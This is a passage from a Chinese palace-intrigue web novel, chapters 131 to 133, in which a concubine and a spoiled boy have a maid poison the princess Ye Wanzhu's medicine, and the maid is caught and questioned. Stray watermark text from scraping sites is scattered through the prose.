璎珞闻言有些紧张地朝那嬷嬷面上看去,却并未看到多少不满的情绪。 “阮姨娘误会了。” 又朝着阮莹莹躬了躬身,嬷嬷的语气和表情一样平静。 “奴婢看到了方才的经过,对姨娘的遭遇深感同情,有个法子想献给姨娘,不知您愿不愿意听一听?” 她微微掀起眼皮,带着深意的目光和阮莹莹对上。 阮莹莹不由得一愣,这才后知后觉地发现这个嬷嬷瞧着不一般。¨零?点\看¨书/ !蕪!错¢内?容+ “你是什么人》?”她下意识地问道。 嬷嬷又把脑袋低了下去。 “奴婢只是后院里一个不起眼的下人罢了。” “姨娘,您想不想听奴婢的办法?” 她一句话便又将问题带了回来,阮莹莹目光微凝,片刻后道,“什么办法?” 嬷嬷闻言抬头,露出一个胸有成竹的笑容。 “这里不是说话的地方,姨娘,您随奴婢来吧。” 说完,也不等阮莹莹开口,她便率先转身,沿着一条无人的小道而去。 阮莹莹看着那条路,是通往柴房的。 犹豫片刻,她挪动脚步便要跟上去。 “姨娘……” 璎珞不由得出声,一双眼睛不安地盯着那嬷嬷的背影。 这人也不知道是什么来头,万一,万一要对她们不利,那该如何是好? 阮莹莹眼中闪过不悦的光,重重拂袖将她推开! “废物!” 什么事都干不好! 丢下一句话,阮莹莹动身向那嬷嬷追赶而去,璎珞见状跺了跺脚,也只能跟上。 —— “姨娘!你回来了!” 春风居中,萧延正百无聊赖地在屋里自娱自乐,将摆在窗边的一盆垂丝茉莉掐得千头万绪都付诸东流。/如!雯.网^ *已`发`布~醉′辛~彰¨結` 听见院中传来说话的声音,他双眼一亮,连忙跑了出去,又立刻呆住。 “姨娘你这是怎么了?” 眼前的阮姨娘身上有着大块的污渍,头发也有些乱,嘴角红肿,眼睛也好像哭过。 可她却咧着嘴,笑得十分慑人。 还从来没见过这样的阮姨娘,萧延缩了缩脖子,忽然感到有些陌生。 “延儿,走,进屋去说话。” 一眼看见萧延前来,阮莹莹面上的笑容越发灿烂。 她一瘸一拐地走着,快步来到萧延身边,揽住了他的肩头。 萧延有些受宠若惊,跟着阮莹莹进屋的脚步都有些轻飘飘的。 这段时间他虽然一直住在春风居里,阮姨娘也还是对他很好,但两人各自受伤,又总是不快,春风居里的气氛向来是愁云惨雾,一片空虚。 这还是阮姨娘这么多天以来,第一次这么高兴呢! “姨娘,你是不是成功了?” 刚在屋中坐下,萧延便睁大了一双眼睛,饱含期待地朝着阮莹莹看去。 他是知道阮姨娘今天去干什么的。 是不是娘亲那个贱女人已经中招了? 萧延的呼吸急促起来,他有些迫不及待地想看娘亲疼得死去活来,大声哀嚎的模样了。 就像前些日子的他一样! “延儿莫急。” 阮莹莹随口安抚了萧延一句,余光却落在那盆惨遭毒手,已经看不出本来面目的垂丝茉莉上。 平心而论,阮莹莹自认如果她是叶晚竹,也会想把萧延这个成事不足,败事有余的傻子扔得离自己远远的! 这些天把萧延放在春风居里养着,阮莹莹已是心力交瘁。 读书上进这样的词,和萧延简直是毫无关系,倒是好吃懒做,游手好闲之类的事情从不少干。 若只是这样也就罢了,可偏偏,萧延还是个自我感觉十分良好的! 从前为了和叶晚竹争抢,阮莹莹对萧延十分好,这便让他分不清东南西北,真当阮莹莹是他的亲生娘 亲了! 无理的要求一个接着一个地提,阮莹莹不答应,他就装傻充愣,撒泼打滚,誓要达到自己的目的才罢休。 阮莹莹从来没有见过这么惹人讨厌的孩子! 手脚也管得不好,这屋里的东西,没有一样没遭过他的毒手! 可阮莹莹却只是不着痕迹地做了个深呼吸,收回目光对上萧延的时候,面上笑容和蔼可亲。 “今天还不行……” 本以为能听到娘亲倒霉,萧延的笑容已经扬起了一大半,听到阮莹莹这话,又迅速地低落下去。 为什么还不行? 怎么又失败了? 萧延看着阮莹莹的眼神不由得出现了一丝失望。 阮莹莹心下跟着冷笑起来。 他失望个什么劲? 有本事自己去和叶晚竹作对啊。 看热闹还嫌演得不够精彩。 “潇湘院的情况你也知道,被侍卫紧紧把守着,想弄些东西进去并不容易。” 阮莹莹面上的笑容依旧没有半分要减弱的意思,看着萧延越发皱起眉头,她却故作神秘地弯下了腰。 “不过,姨娘又想出了一个新的办法,保管能让姐姐知道厉害!” “是什么?” 萧延已经晦暗下去的脸色又在阮莹莹的语气中重新亮了起来。 阮莹莹眼底的光芒也跟着变得璀璨。 “延儿过来,我悄悄跟你说……” 潇湘院里,叶晚竹一觉睡醒,天边残阳将息。 午觉睡了整整一个下午,她起身活动着腿脚,书画听见声音,很快将晚饭和汤药一同送进了屋中。 对于吃了睡,睡了吃这样的生活已经习惯,叶晚竹搅了搅温热的药液,端起碗来便一饮而尽。 第一百三十一章 敢害王妃?给我站住! 第一百三十一章 敢害王妃?给我站住! “今天怎么样?” 一边吃饭,叶晚竹一边朝着书画发问。?j!i.n-g?w+u\x¢s-.^c′o′m/ 范大夫的汤药有安神的作用,而且效果还十分地好,叶晚竹睡着的时间太多,醒来还是免不了要操心。 书画尽职尽责地担任着传话和总结的角色,一件一件将府中和铺子里的事情讲给她听。 最近一切平稳,没什么需要特别关注的事情,叶晚竹听罢也就放心下来。 “圣上还是没上朝?”她最后问道。 书画抿着嘴唇摇了摇头。 已经十几日过去了,宫中依旧被守得铁桶一般,一点儿消息都传不出来,也不知道到底是出了什么事。 叶晚竹有些放心不下,还曾让人给谢无咎送信,却只得了“无妨”这匆匆两个大字。 不仅回信匆忙,谢无咎这段时间甚至也在东厂闭门不出。 一切的一切,似乎并不是无妨的样子。 “王爷呢?” 叹了口气,叶晚竹又想起了萧子景。 书画撇了撇嘴,表情变得嫌弃起来。 “王爷还是没有回府,听说又到桃杏楼去了。” 比起先前,现在的萧子景俨然一副不管不顾,破罐子破摔的模样,连京中的议论都不在乎了。~x?h·u/l_i-a\n,.+c/o′m_ 先是赌场,后是青楼,现在大家都在说景平王是个只会花天酒地的草包呢! 想着,书画的眼神又不屑了几分。 叶晚竹皱了皱眉,感觉萧子景的所作所为似乎有些不对劲。 最是爱面子的一个人,怎么能容忍流言对他如此不利? 可若要再往下想,叶晚竹却又有些不明白他这么做的意图是什么。 毁掉自己的名声,对萧子景有什么好处? 凝眸思索片刻,叶晚竹的思绪却被一阵突如其来的头疼打断了。 她轻轻吸了口气,抿唇的动作没有逃过一直站在一旁的书画的眼睛。 “王妃不许再想了!” 看了一眼墙角的漏刻,书画忽然挡在叶晚竹面前。 “该休息了,奴婢去叫水来吧。” 她可是听了范大夫的话,要按时伺候王妃休息的! 头疼似有若无,叶晚竹也没勉强自己,洗漱一番便又朝着卧房而去。 不知道是不是今日的确思考过度,叶晚竹感到脚下发虚,每走一步都十分困难。 眼前的景象忽然变得虚幻,她心下一惊,一把抓住书画的胳膊。 “我……” 刚开口,喉头一阵腥甜,一口鲜血猛地从叶晚竹胸中迸了出来! 是黑色的! 有毒! “王妃!” 书画目眦欲裂,一把扶住叶晚竹无力的身子,回头朝外面大喊起来。/l!u~o-l¢a+x!s_..c¨o^m/ “快来人啊!” 范大夫就住在潇湘院的客房,几乎是听到书画喊声的第一时间就冲了过来。 看着叶晚竹软倒在地,大口吐血的模样,范大夫先是一惊,随后又立刻让自己冷静下来。 “去把王妃放到床上,这里我来处理!” 一边说着话,范大夫一边从随身的药箱中取出了银针。 范大夫是可信之人,书画和陈嬷嬷连忙上前照办。 眼看着范大夫开始行针,陈嬷嬷正要离开,却被书画在外屋拦了下来。 “嬷嬷在屋里守着,我去外面看看!” 擦干脸上不知道是眼泪还是汗水的湿意,书画眼中透着满满的凶光。 “王妃吃饭服药前还好好的,肯定是小厨房出了问题!” 敢害王妃? 找死! 撸起袖子,书画转头便向小厨房而去。 等她靠近,却发现这里灯火通明,已经热闹了起来。 小花只穿着中衣,长发披散,甚至连鞋都没穿好,正站在小厨房外,虎视眈眈地盯着所有人。 方才被叶晚竹那边的声音吵醒,小花努力抑制住去看娘亲的冲动,第一时间跑到了小厨房,将所有人都堵住。 她不会医术,去了也没用,还是来找凶手比较好! “谁动的手脚?老实交代!”她叉着腰,一张小脸绷得紧紧的。 潇湘院的小厨房里用的是叶晚竹的陪嫁下人,都是曾经在叶家干活的嬷嬷和丫鬟。 这会儿听着前面传来的声音,所有人都表情惊惶。 “小姐,我们,我们什么都没做啊……” 这是怎么了? 王妃那边为什么这样混乱? 书画这时候快步走上前来。 “王妃中毒了,今天都发生了什么,赶快一一道来!” “什么?” 小厨房的下人闻言越发震惊,随后便七嘴八舌地回忆了起来,随后发现今天和往常并没有任何不同。 书画的目光便朝小 厨房中投去。 嬷嬷们都是可信之人,既然她们什么都没有发现,那问题应该就出在入口的东西上了。 食材,还有草药。 书画沉着脸往屋中而去。 就在这时,一旁漆黑的树丛中忽然传来一阵响声。 “谁!” 转头看去,书画一声低喝,众人也立刻朝着发声方向看了过去。 有人打起灯笼往前走了几步,那窸窸窣窣的声音顿时变得更加急促! 众人脚下的动作也变得更快,灯光渐渐将树丛照亮—— “别跑!” 小花大喝一声,人却朝着另一个方向猛地扑了过去! “我看见你了孙子!” 一个黑影从小厨房的窗下一闪而过,正朝着与书画等人相反的方向拔腿狂奔! 是声东击西! “站住!”小花拔腿跟了上去。 那黑影见状跑得更快,小花闷头苦追,将书画喝令众人停下,仔细搜查小厨房附近的声音远远地抛在脑后。 直觉告诉她,这个黑影就是她们要找的人! “狗东西你给我站住!” 大吼一声,小花脚下再度加速,很快就和那个黑影拉近了距离。 对方似乎并不是多么身强力壮之流,方才占了几分先机,这会儿已经被小花撵上,呼吸变得混乱起来。 小花跑丢了一只鞋也速度不减,一只手重重按在对方肩头,“你个——啊!” 没想到她刚开口,那黑影抬手一扬,白色粉末顿时洒了下来! 难闻的气味散开,小花立刻感到全身发麻,不能自控地跪倒在地。 是迷药! “你给我站住……” 眼前发黑,天旋地转,小花犹不死心,死死地盯着那团黑色的影子。 视线消失的前一刻,怎么有一抹红痕? 第一百三十二章 是小世子干的! 第一百三十二章 是小世子干的! 谢无咎一脚将那黑影踢出到几步开外,听着对方发出一声尖锐的惨叫,面上神情比阎罗还阴沉。!??看.:@书|{a君o d*更$ˉ新§?t最{t全?& “找死。” 他用脚尖将对方翻过身来,昏暗的灯笼下露出一张惊惶欲绝的小脸。 这小丫鬟满脸是血,被方才那一脚踢得已经神志不清。 一个布包从她身上滚出来,浓郁的药味顿时传入谢无咎鼻端。 是药渣? “九,九千岁!” 这个时候,在隐月的解药作用下,小花也已经恢复了清醒。 她大喊一声,第一时间朝这边冲了过来,脚下还有些踉跄,面上的凶戾神色倒是半分不减。 “就是她给娘亲下毒!” 一边控诉着,小花抬脚又要朝这丫鬟踹去,却被谢无咎及时拦下。 “再挨打可能就要没命了。” 垂眸扫了一眼地上丫鬟奄奄一息的模样,谢无咎立刻朝小花示意,“带我进去。” 方才小花追着这丫鬟已经跑出潇湘院一大截,此时回到院中,里面虽然仍是人心惶惶,但已经基本安静了下来。 书画领着院里的下人,将叶晚竹的房间牢牢围住,人人手里举着灯笼,将周围照亮得如白昼一般。 见到谢无咎出现,院中更是鸦雀无声。?·白§d马d_#书u&院}\ ?ˉ?更¢;新#`{最-¨快1t 卧房房门紧闭,隐风一脸戒备地守在廊下,见到谢无咎才缓和了面上神情。 感觉情况不对,隐川便立刻往东厂送去了消息。 “怎么样了。”谢无咎径直开口发问。 “范大夫还在施针。” 隐风压低声音,目光有些飘忽。 在自己眼皮子下面让王妃中了毒,隐风这会儿又是懊悔又是自责。 他怎么能让王妃出事呢? 谢无咎眼底再不见往日的戏谑,乌沉沉的,让人连与他对视的想法都生不出来。 他似乎想对隐风说什么,最后却还是没开口,转而朝身后招了招手。 隐月立刻将那个小丫鬟反剪着双手送到谢无咎面前。 “这是什么人?” 谢无咎的目光锁定在了书画身上。 书画就站在门边,早就看见了被抓到的凶手,这会儿咬牙切齿地露出一个笑容。 “萍儿,好久不见啊。” 几个月前,因为收了萧延的好处,替他往潇湘院传递消息,叶晚竹将萍儿遣到了观竹苑,后来众人便渐渐将此事淡忘过去。 没想到,会在今天这样的场合看见她! 书画胸膛起伏,需要用尽力气才不让自己怒吼出声。uu¨看?$\书?君+? ¤最o新|~#章ud?节t¤更[新?o快- “你个吃里扒外的,都干了什么?快把解药拿出来,否则,要你好看!” 萍儿身上裹着的黑袍子已经被兜头解下,露出一张惨白的脸,半干的血迹糊在上面,显得有些瘆人。 她张着嘴想哭嚎,还没发出声音便被谢无咎一把掐住了脖子。 “小声说。” 比起书画的凶神恶煞,谢无咎这会儿甚至是笑着的,语气也很柔和。 可萍儿却立刻哆嗦起来,又吐出一口鲜血。 “谁让你来的?”谢无咎继续温声开口,“本督只给你一次机会,说不好,后果自负。” 萍儿的眼泪又刷刷地流了出来。 “是小世子,奴婢都是听他的命令才这么做的!” 想哭想喊,却都被谢无咎死死地掐在喉间,萍儿声如蚊蚋,一张脸因为窒息也涨得通红。 她求饶地望着谢无咎。 “奴婢什么都不知道!小世子今晚只让奴婢混进潇湘院把药渣偷走!” 萍儿不是叶晚竹的陪嫁丫鬟,在王府也没多少熟人,王妃把她赶去观竹苑,她便只能老老实实地过去干活。 伺候萧延并不是一件容易的事,小世子有命,萍儿不敢不从! “九千岁,奴婢真的,真的……” 还想说些什么,萍儿忽然感到脖颈上袭来一股大力,根本没有半分抗衡的可能,她便双眼一翻,晕死了过去。 萧延。 谢无咎不出声地念叨了几遍这个名字,神情晦暗难明。 小花已经攥着拳头,愤怒地哼哼了起来。 等娘亲醒了,她一定要把萧延揍得连爬都爬不起来! “王妃!” 屋中这时响起了陈嬷嬷欣喜的喊声! —— 叶晚竹睁开双眼的时候,先是感到一阵阵晕眩,紧接着,喉咙仿佛是被人用刀割开过一样,火辣辣地疼着。 她下意识地想抬手摸摸脖子,却发现自己现在只有喘气的份。 “王妃?您怎么样?” “娘亲你醒了?” 书画和小花的声音依次在耳边响起,屋中脚步声更多,叶晚竹眨了眨眼,感到世界 渐渐清晰起来。 有人扶着她坐起身,又在背后垫好了枕头。 叶晚竹看着灯火通明,又人满为患的房间,一面回忆着晕倒前发生的事情,一面缓缓扫过屋中—— 她是不是眼花了? 怎么在这里看见了谢无咎? “九千岁怎么来了?” 开口说话,叶晚竹险些认不出自己的声音。 嘶哑,艰涩,好像被砂纸磨过,一看就是受了重伤。 不仅如此,说话牵动胸腔,叶晚竹又感到喉头漫上一阵腥甜。 谁这么暗算她? 叶晚竹眯了眯眼。 “无关人都下去吧。”谢无咎并未回答叶晚竹的问题,而是朝屋外摆了摆手。 丫鬟嬷嬷们很快离开,关上房门,书画立刻将叶晚竹昏迷这段时间发生的事情说了出来。 萍儿这会儿也被带到屋中,匍匐着跪在床边瑟瑟发抖。 范大夫捧着放药渣的布包坐在桌边,对着油灯,将里面的东西一样一样拿出来仔细观察。 等书画的讲述到了尾声,她也从药渣里挑出了十几块黑漆漆的东西。 “这是木骨,有剧毒。” 深吸一口气,范大夫的手不自觉地颤抖着。 “王妃的药中有一味熟地黄,二者的形状和气味几乎都一模一样,混在一起很难被发觉。” “木骨?” 一直安静抱臂站在一旁的谢无咎忽然疑惑出声。 “我从来没有听说过还有这样一味药。” 范大夫犹豫片刻,抬起头,眼底眸光闪烁。 “因为这种药材,只有南疆才有。” 又是南疆? 叶晚竹下意识地朝谢无咎看去,又正好和他目光相撞。 谢无咎的嘴角几不可查地绷紧了一瞬。 “隐风,去把萧延给我带过来!” 第一百三十三章 狗咬狗咬狗 第一百三十三章 狗咬狗咬狗 收回目光,叶晚竹先将注意力移回眼下。°|求e(;书#?帮o ^更*(新??最?u全¢ 这叫木骨的毒药能进到潇湘院里,仅凭萧延和萍儿定是不可能完成的。 这背后一定还有问题! 隐风领命而去,半柱香后回转,却买一赠一,带回了两个不断挣扎着的人。 “王妃,据小世子供述,那药是阮姨娘让他下的,小的便将两人一起带回来了。” 将两人丢在地上,隐风垂着头,语气无波无澜。 说来也巧,他到春风居的时候,正赶上萧延从阮莹莹屋中被送出来,口中还说着自己害怕,一个人睡不着觉等等。 等一回头看见隐风,萧延立刻双腿一软,还没等他开口便连声将阮莹莹卖了出来。 就这点胆子,也敢做下毒这样的坏事? 彼时屋中已经清理一新,叶晚竹仍是浑身无力,靠在床头,由书画代她出声发言。 “为何要给王妃下毒?”书画柳眉倒竖,“阮姨娘,你也太放肆了吧?” 明着斗不过王妃,阴招倒是越来越多了! 阮莹莹跪坐在地上,抬头朝叶晚竹这边看来,眼神十分无辜。 “姐姐,我怎么会做这样的事情呢?” “姨娘莫要装傻了吧?”书画冷笑着,“你早些交代,还能少吃点苦头。}e